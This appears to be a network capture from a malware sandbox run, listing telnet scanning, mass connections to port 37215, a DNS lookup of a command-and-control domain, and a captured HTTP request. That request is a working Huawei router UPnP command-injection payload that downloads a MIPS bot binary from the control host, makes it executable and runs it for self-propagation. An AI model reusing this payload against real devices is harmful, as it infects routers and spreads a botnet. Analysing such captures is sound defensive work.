Aug 17, 2024 01:01:55.194389105 CEST	44894	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.198101997 CEST	23	36728	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.198107004 CEST	23	36732	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.198153019 CEST	36732	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.201241016 CEST	23	44894	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.201474905 CEST	44898	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.203366995 CEST	23	36732	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.203376055 CEST	44894	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.203423977 CEST	36732	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.203428030 CEST	36736	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.206453085 CEST	23	44898	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.206511974 CEST	44898	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.208376884 CEST	23	44894	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.208380938 CEST	23	36732	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.208390951 CEST	23	36736	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.208448887 CEST	36736	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.211790085 CEST	23	44898	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.211844921 CEST	44898	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.211855888 CEST	44902	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.213952065 CEST	23	36736	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.214035988 CEST	36736	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.214091063 CEST	36740	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.217272043 CEST	23	44898	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.217281103 CEST	23	44902	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.217329979 CEST	44902	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.218971968 CEST	23	36736	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.218981981 CEST	23	36740	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.219029903 CEST	36740	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.222676039 CEST	23	44902	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.222760916 CEST	44902	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.222781897 CEST	44906	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.224853039 CEST	23	36740	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.225225925 CEST	36740	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.225225925 CEST	36744	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.228518963 CEST	23	44902	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.228523016 CEST	23	44906	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.228578091 CEST	44906	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.230097055 CEST	23	36740	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.230106115 CEST	23	36744	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.230360031 CEST	36744	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.233786106 CEST	23	44906	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.233890057 CEST	44910	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.233892918 CEST	44906	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.235794067 CEST	23	36744	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.235884905 CEST	36748	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.236006021 CEST	36744	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.239037991 CEST	23	44910	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.239109993 CEST	44910	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.239120960 CEST	23	44906	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.241039991 CEST	23	36748	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.241095066 CEST	23	36744	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.241117001 CEST	36748	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.244539976 CEST	23	44910	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.245148897 CEST	44910	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.245157957 CEST	44914	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.247756958 CEST	23	36748	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.248486042 CEST	36748	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.248496056 CEST	36752	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.250257969 CEST	23	44910	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.250742912 CEST	23	44914	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.250834942 CEST	44914	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.255806923 CEST	23	36748	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.255816936 CEST	23	36752	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.255861044 CEST	36752	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.259830952 CEST	23	44914	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.259910107 CEST	44914	23	192.168.2.13	171.120.97.23
Aug 17, 2024 01:01:55.267524004 CEST	23	44914	171.120.97.23	192.168.2.13
Aug 17, 2024 01:01:55.267529964 CEST	23	36752	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.267591953 CEST	36752	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.267651081 CEST	36754	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.272713900 CEST	23	36752	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.272718906 CEST	23	36754	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.272897005 CEST	36754	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.279369116 CEST	23	36754	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.279444933 CEST	36754	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.279532909 CEST	36756	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.284641027 CEST	23	36754	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.284646034 CEST	23	36756	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.284704924 CEST	36756	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.290379047 CEST	23	36756	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.290441036 CEST	36756	23	192.168.2.13	113.234.170.94
Aug 17, 2024 01:01:55.295908928 CEST	23	36756	113.234.170.94	192.168.2.13
Aug 17, 2024 01:01:55.440699100 CEST	37215	53754	197.131.247.58	192.168.2.13
Aug 17, 2024 01:01:55.440844059 CEST	53754	37215	192.168.2.13	197.131.247.58
Aug 17, 2024 01:01:55.658657074 CEST	24911	37215	192.168.2.13	41.156.106.97
Aug 17, 2024 01:01:55.658657074 CEST	24911	37215	192.168.2.13	197.42.46.178
Aug 17, 2024 01:01:55.658658981 CEST	24911	37215	192.168.2.13	41.83.165.183
Aug 17, 2024 01:01:55.658658028 CEST	24911	37215	192.168.2.13	156.10.6.199
Aug 17, 2024 01:01:55.658660889 CEST	24911	37215	192.168.2.13	41.221.72.31
Aug 17, 2024 01:01:55.658658981 CEST	24911	37215	192.168.2.13	197.166.59.130
Aug 17, 2024 01:01:55.658664942 CEST	24911	37215	192.168.2.13	197.146.92.229
Aug 17, 2024 01:01:55.658662081 CEST	24911	37215	192.168.2.13	197.40.122.92
Aug 17, 2024 01:01:55.658664942 CEST	24911	37215	192.168.2.13	41.16.72.176
Aug 17, 2024 01:01:55.658658028 CEST	24911	37215	192.168.2.13	156.116.95.117
Aug 17, 2024 01:01:55.658662081 CEST	24911	37215	192.168.2.13	41.61.39.196
Aug 17, 2024 01:01:55.658658028 CEST	24911	37215	192.168.2.13	156.225.207.67
Aug 17, 2024 01:01:55.658662081 CEST	24911	37215	192.168.2.13	156.192.39.206
Aug 17, 2024 01:01:55.658658028 CEST	24911	37215	192.168.2.13	41.60.152.9
Aug 17, 2024 01:01:55.658662081 CEST	24911	37215	192.168.2.13	156.150.100.188
Aug 17, 2024 01:01:55.658658028 CEST	24911	37215	192.168.2.13	41.242.64.102
Aug 17, 2024 01:01:55.658660889 CEST	24911	37215	192.168.2.13	41.33.45.191
Aug 17, 2024 01:01:55.658723116 CEST	24911	37215	192.168.2.13	156.128.85.17
Aug 17, 2024 01:01:55.658723116 CEST	24911	37215	192.168.2.13	41.11.160.247
Aug 17, 2024 01:01:55.658724070 CEST	24911	37215	192.168.2.13	156.207.80.189
Aug 17, 2024 01:01:55.658723116 CEST	24911	37215	192.168.2.13	156.65.147.246
Aug 17, 2024 01:01:55.658725023 CEST	24911	37215	192.168.2.13	156.5.246.119
Aug 17, 2024 01:01:55.658724070 CEST	24911	37215	192.168.2.13	41.112.6.100
Aug 17, 2024 01:01:55.658724070 CEST	24911	37215	192.168.2.13	41.90.167.31
Aug 17, 2024 01:01:55.658723116 CEST	24911	37215	192.168.2.13	41.209.245.142
Aug 17, 2024 01:01:55.658725023 CEST	24911	37215	192.168.2.13	41.244.14.153
Aug 17, 2024 01:01:55.658723116 CEST	24911	37215	192.168.2.13	41.191.225.167
Aug 17, 2024 01:01:55.658731937 CEST	24911	37215	192.168.2.13	197.70.131.44
Aug 17, 2024 01:01:55.658725023 CEST	24911	37215	192.168.2.13	197.232.126.29
Aug 17, 2024 01:01:55.658730030 CEST	24911	37215	192.168.2.13	156.9.16.61
Aug 17, 2024 01:01:55.658724070 CEST	24911	37215	192.168.2.13	197.181.91.100
Aug 17, 2024 01:01:55.658734083 CEST	24911	37215	192.168.2.13	41.113.85.149
Aug 17, 2024 01:01:55.658724070 CEST	24911	37215	192.168.2.13	156.131.179.31
Aug 17, 2024 01:01:55.658735037 CEST	24911	37215	192.168.2.13	197.88.55.146
Aug 17, 2024 01:01:55.658730030 CEST	24911	37215	192.168.2.13	41.194.34.186
Aug 17, 2024 01:01:55.658724070 CEST	24911	37215	192.168.2.13	41.31.11.42
Aug 17, 2024 01:01:55.658735037 CEST	24911	37215	192.168.2.13	41.151.68.255
Aug 17, 2024 01:01:55.658731937 CEST	24911	37215	192.168.2.13	197.218.142.204
Aug 17, 2024 01:01:55.658735037 CEST	24911	37215	192.168.2.13	41.201.245.139
Aug 17, 2024 01:01:55.658731937 CEST	24911	37215	192.168.2.13	197.37.49.7
Aug 17, 2024 01:01:55.658735037 CEST	24911	37215	192.168.2.13	156.109.215.44
Aug 17, 2024 01:01:55.658731937 CEST	24911	37215	192.168.2.13	41.162.162.103
Aug 17, 2024 01:01:55.658735037 CEST	24911	37215	192.168.2.13	41.121.102.36
Aug 17, 2024 01:01:55.658731937 CEST	24911	37215	192.168.2.13	41.222.137.238
Aug 17, 2024 01:01:55.658731937 CEST	24911	37215	192.168.2.13	197.15.135.179
Aug 17, 2024 01:01:55.658787012 CEST	24911	37215	192.168.2.13	41.79.11.117
Aug 17, 2024 01:01:55.658829927 CEST	24911	37215	192.168.2.13	156.146.161.24
Aug 17, 2024 01:01:55.658829927 CEST	24911	37215	192.168.2.13	197.104.48.205
Aug 17, 2024 01:01:55.658829927 CEST	24911	37215	192.168.2.13	41.114.30.179
Aug 17, 2024 01:01:55.658829927 CEST	24911	37215	192.168.2.13	197.23.20.230
Aug 17, 2024 01:01:55.658829927 CEST	24911	37215	192.168.2.13	156.67.76.238
Aug 17, 2024 01:01:55.658829927 CEST	24911	37215	192.168.2.13	197.218.121.8
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	156.38.77.108
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	41.156.140.129
Aug 17, 2024 01:01:55.658829927 CEST	24911	37215	192.168.2.13	156.125.31.17
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	197.189.255.142
Aug 17, 2024 01:01:55.658829927 CEST	24911	37215	192.168.2.13	41.155.194.86
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	41.198.3.79
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	156.112.135.220
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	41.238.107.57
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	197.144.216.233
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	41.142.26.76
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	197.131.12.148
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	41.101.5.136
Aug 17, 2024 01:01:55.658832073 CEST	24911	37215	192.168.2.13	156.178.120.193
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.38.73.195
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.174.118.201
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	197.126.97.138
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.189.225.189
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.95.121.199
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	197.17.120.238
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.187.188.47
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.48.191.17
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.101.81.135
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	156.99.89.179
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.114.66.127
Aug 17, 2024 01:01:55.658843994 CEST	24911	37215	192.168.2.13	41.193.89.55
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.55.176.212
Aug 17, 2024 01:01:55.658843994 CEST	24911	37215	192.168.2.13	41.140.7.197
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	156.149.98.69
Aug 17, 2024 01:01:55.658843994 CEST	24911	37215	192.168.2.13	156.248.218.127
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.13.204.224
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	41.203.10.3
Aug 17, 2024 01:01:55.658843994 CEST	24911	37215	192.168.2.13	197.175.120.245
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	197.249.135.100
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	197.99.18.121
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	156.1.44.201
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	197.197.99.226
Aug 17, 2024 01:01:55.658839941 CEST	24911	37215	192.168.2.13	156.79.18.235
Aug 17, 2024 01:01:55.658875942 CEST	24911	37215	192.168.2.13	156.72.165.133
Aug 17, 2024 01:01:55.658884048 CEST	24911	37215	192.168.2.13	41.18.159.202
Aug 17, 2024 01:01:55.658884048 CEST	24911	37215	192.168.2.13	197.97.129.68
Aug 17, 2024 01:01:55.658884048 CEST	24911	37215	192.168.2.13	41.31.247.189
Aug 17, 2024 01:01:55.658937931 CEST	24911	37215	192.168.2.13	41.77.53.167
Aug 17, 2024 01:01:55.658937931 CEST	24911	37215	192.168.2.13	41.200.177.125
Aug 17, 2024 01:01:55.658937931 CEST	24911	37215	192.168.2.13	156.59.167.82
Aug 17, 2024 01:01:55.658937931 CEST	24911	37215	192.168.2.13	41.39.230.8
Aug 17, 2024 01:01:55.658938885 CEST	24911	37215	192.168.2.13	197.192.58.77
Aug 17, 2024 01:01:55.658937931 CEST	24911	37215	192.168.2.13	41.166.144.201
Aug 17, 2024 01:01:55.658938885 CEST	24911	37215	192.168.2.13	156.123.45.26
Aug 17, 2024 01:01:55.658937931 CEST	24911	37215	192.168.2.13	197.57.216.68
Aug 17, 2024 01:01:55.658938885 CEST	24911	37215	192.168.2.13	197.178.181.19
Aug 17, 2024 01:01:55.658938885 CEST	24911	37215	192.168.2.13	156.66.54.129
Aug 17, 2024 01:01:55.658938885 CEST	24911	37215	192.168.2.13	156.117.101.23
Aug 17, 2024 01:01:55.658938885 CEST	24911	37215	192.168.2.13	41.186.35.190
Aug 17, 2024 01:01:55.658938885 CEST	24911	37215	192.168.2.13	197.224.239.106
Aug 17, 2024 01:01:55.658938885 CEST	24911	37215	192.168.2.13	197.130.16.147
Aug 17, 2024 01:01:55.658942938 CEST	24911	37215	192.168.2.13	156.117.19.84
Aug 17, 2024 01:01:55.658942938 CEST	24911	37215	192.168.2.13	156.155.231.211
Aug 17, 2024 01:01:55.658942938 CEST	24911	37215	192.168.2.13	197.0.195.227
Aug 17, 2024 01:01:55.658942938 CEST	24911	37215	192.168.2.13	156.109.16.128
Aug 17, 2024 01:01:55.658942938 CEST	24911	37215	192.168.2.13	41.241.92.163
Aug 17, 2024 01:01:55.658942938 CEST	24911	37215	192.168.2.13	41.39.153.206
Aug 17, 2024 01:01:55.658953905 CEST	24911	37215	192.168.2.13	197.88.188.101
Aug 17, 2024 01:01:55.658953905 CEST	24911	37215	192.168.2.13	197.53.169.74
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	156.91.250.194
Aug 17, 2024 01:01:55.658953905 CEST	24911	37215	192.168.2.13	41.63.84.30
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	197.59.128.200
Aug 17, 2024 01:01:55.658957005 CEST	24911	37215	192.168.2.13	41.72.53.136
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	156.91.133.163
Aug 17, 2024 01:01:55.658958912 CEST	24911	37215	192.168.2.13	156.48.48.133
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	41.114.92.101
Aug 17, 2024 01:01:55.658960104 CEST	24911	37215	192.168.2.13	41.37.120.188
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	156.110.108.41
Aug 17, 2024 01:01:55.658958912 CEST	24911	37215	192.168.2.13	197.31.10.109
Aug 17, 2024 01:01:55.658957005 CEST	24911	37215	192.168.2.13	197.250.83.196
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	41.192.232.242
Aug 17, 2024 01:01:55.658957005 CEST	24911	37215	192.168.2.13	197.30.123.29
Aug 17, 2024 01:01:55.658960104 CEST	24911	37215	192.168.2.13	41.106.250.183
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	41.121.253.58
Aug 17, 2024 01:01:55.658958912 CEST	24911	37215	192.168.2.13	41.130.40.11
Aug 17, 2024 01:01:55.658957005 CEST	24911	37215	192.168.2.13	156.118.226.57
Aug 17, 2024 01:01:55.658960104 CEST	24911	37215	192.168.2.13	156.20.8.25
Aug 17, 2024 01:01:55.658957005 CEST	24911	37215	192.168.2.13	41.159.17.153
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	197.153.51.108
Aug 17, 2024 01:01:55.658960104 CEST	24911	37215	192.168.2.13	156.136.122.72
Aug 17, 2024 01:01:55.658957005 CEST	24911	37215	192.168.2.13	41.80.25.90
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	41.208.150.238
Aug 17, 2024 01:01:55.658957005 CEST	24911	37215	192.168.2.13	156.42.202.94
Aug 17, 2024 01:01:55.658960104 CEST	24911	37215	192.168.2.13	156.11.54.213
Aug 17, 2024 01:01:55.658958912 CEST	24911	37215	192.168.2.13	156.147.193.126
Aug 17, 2024 01:01:55.658955097 CEST	24911	37215	192.168.2.13	197.41.125.165
Aug 17, 2024 01:01:55.658958912 CEST	24911	37215	192.168.2.13	197.249.85.89
Aug 17, 2024 01:01:55.658956051 CEST	24911	37215	192.168.2.13	41.94.148.108
Aug 17, 2024 01:01:55.659048080 CEST	24911	37215	192.168.2.13	197.243.109.160
Aug 17, 2024 01:01:55.659048080 CEST	24911	37215	192.168.2.13	156.232.7.34
Aug 17, 2024 01:01:55.659048080 CEST	24911	37215	192.168.2.13	41.119.95.70
Aug 17, 2024 01:01:55.659048080 CEST	24911	37215	192.168.2.13	41.254.115.53
Aug 17, 2024 01:01:55.659048080 CEST	24911	37215	192.168.2.13	197.160.167.176
Aug 17, 2024 01:01:55.659056902 CEST	24911	37215	192.168.2.13	197.6.2.45
Aug 17, 2024 01:01:55.659056902 CEST	24911	37215	192.168.2.13	197.146.85.15
Aug 17, 2024 01:01:55.659056902 CEST	24911	37215	192.168.2.13	41.42.148.226
Aug 17, 2024 01:01:55.659056902 CEST	24911	37215	192.168.2.13	197.87.108.17
Aug 17, 2024 01:01:55.659066916 CEST	24911	37215	192.168.2.13	41.169.0.31
Aug 17, 2024 01:01:55.659084082 CEST	24911	37215	192.168.2.13	41.138.75.194
Aug 17, 2024 01:01:55.659084082 CEST	24911	37215	192.168.2.13	41.119.17.92
Aug 17, 2024 01:01:55.659084082 CEST	24911	37215	192.168.2.13	41.215.11.13
Aug 17, 2024 01:01:55.659084082 CEST	24911	37215	192.168.2.13	41.120.247.45
Aug 17, 2024 01:01:55.659084082 CEST	24911	37215	192.168.2.13	156.177.244.191
Aug 17, 2024 01:01:55.659084082 CEST	24911	37215	192.168.2.13	41.163.61.86
Aug 17, 2024 01:01:55.659084082 CEST	24911	37215	192.168.2.13	156.253.240.193
Aug 17, 2024 01:01:55.659085989 CEST	24911	37215	192.168.2.13	41.136.167.40
Aug 17, 2024 01:01:55.659085989 CEST	24911	37215	192.168.2.13	156.203.250.253
Aug 17, 2024 01:01:55.659086943 CEST	24911	37215	192.168.2.13	41.241.134.43
Aug 17, 2024 01:01:55.659085989 CEST	24911	37215	192.168.2.13	41.228.192.190
Aug 17, 2024 01:01:55.659086943 CEST	24911	37215	192.168.2.13	41.11.9.228
Aug 17, 2024 01:01:55.659085989 CEST	24911	37215	192.168.2.13	41.225.146.211
Aug 17, 2024 01:01:55.659087896 CEST	24911	37215	192.168.2.13	156.230.189.34
Aug 17, 2024 01:01:55.659085989 CEST	24911	37215	192.168.2.13	197.61.193.47
Aug 17, 2024 01:01:55.659089088 CEST	24911	37215	192.168.2.13	156.52.163.253
Aug 17, 2024 01:01:55.659085989 CEST	24911	37215	192.168.2.13	197.52.20.186
Aug 17, 2024 01:01:55.659087896 CEST	24911	37215	192.168.2.13	197.60.228.238
Aug 17, 2024 01:01:55.659086943 CEST	24911	37215	192.168.2.13	41.91.143.202
Aug 17, 2024 01:01:55.659090996 CEST	24911	37215	192.168.2.13	41.70.114.82
Aug 17, 2024 01:01:55.659087896 CEST	24911	37215	192.168.2.13	197.239.160.129
Aug 17, 2024 01:01:55.659089088 CEST	24911	37215	192.168.2.13	41.213.187.190
Aug 17, 2024 01:01:55.659086943 CEST	24911	37215	192.168.2.13	41.252.222.20
Aug 17, 2024 01:01:55.659087896 CEST	24911	37215	192.168.2.13	156.62.44.73
Aug 17, 2024 01:01:55.659089088 CEST	24911	37215	192.168.2.13	197.247.154.63
Aug 17, 2024 01:01:55.659087896 CEST	24911	37215	192.168.2.13	197.162.43.33
Aug 17, 2024 01:01:55.659089088 CEST	24911	37215	192.168.2.13	41.190.80.132
Aug 17, 2024 01:01:55.659087896 CEST	24911	37215	192.168.2.13	156.182.41.125
Aug 17, 2024 01:01:55.659092903 CEST	24911	37215	192.168.2.13	197.211.174.141
Aug 17, 2024 01:01:55.659089088 CEST	24911	37215	192.168.2.13	156.92.118.218
Aug 17, 2024 01:01:55.659086943 CEST	24911	37215	192.168.2.13	197.77.76.90
Aug 17, 2024 01:01:55.659089088 CEST	24911	37215	192.168.2.13	156.5.122.233
Aug 17, 2024 01:01:55.659087896 CEST	24911	37215	192.168.2.13	41.90.82.87
Aug 17, 2024 01:01:55.659092903 CEST	24911	37215	192.168.2.13	156.202.148.207
Aug 17, 2024 01:01:55.659089088 CEST	24911	37215	192.168.2.13	41.43.134.58
Aug 17, 2024 01:01:55.659087896 CEST	24911	37215	192.168.2.13	41.191.188.58
Aug 17, 2024 01:01:55.659086943 CEST	24911	37215	192.168.2.13	41.153.10.241
Aug 17, 2024 01:01:55.659089088 CEST	24911	37215	192.168.2.13	197.224.57.208
Aug 17, 2024 01:01:55.659092903 CEST	24911	37215	192.168.2.13	156.193.67.94
Aug 17, 2024 01:01:55.659086943 CEST	24911	37215	192.168.2.13	41.173.125.253
Aug 17, 2024 01:01:55.659090996 CEST	24911	37215	192.168.2.13	197.234.59.52
Aug 17, 2024 01:01:55.659086943 CEST	24911	37215	192.168.2.13	41.74.52.150
Aug 17, 2024 01:01:55.659090996 CEST	24911	37215	192.168.2.13	197.46.26.16
Aug 17, 2024 01:01:55.659092903 CEST	24911	37215	192.168.2.13	156.124.204.188
Aug 17, 2024 01:01:55.659090996 CEST	24911	37215	192.168.2.13	41.156.191.94
Aug 17, 2024 01:01:55.659092903 CEST	24911	37215	192.168.2.13	41.250.215.24
Aug 17, 2024 01:01:55.659091949 CEST	24911	37215	192.168.2.13	156.190.250.55
Aug 17, 2024 01:01:55.659091949 CEST	24911	37215	192.168.2.13	156.80.78.216

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 17, 2024 01:01:51.560451031 CEST	192.168.2.13	8.8.8.8	0x5b85	Standard query (0)	cnc.mamma.su	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 17, 2024 01:01:51.567440033 CEST	8.8.8.8	192.168.2.13	0x5b85	No error (0)	cnc.mamma.su		45.202.35.22	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	46980	197.134.73.170	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.578660011 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	43800	197.92.245.152	37215

Timestamp	Bytes transferred	Direction	Data
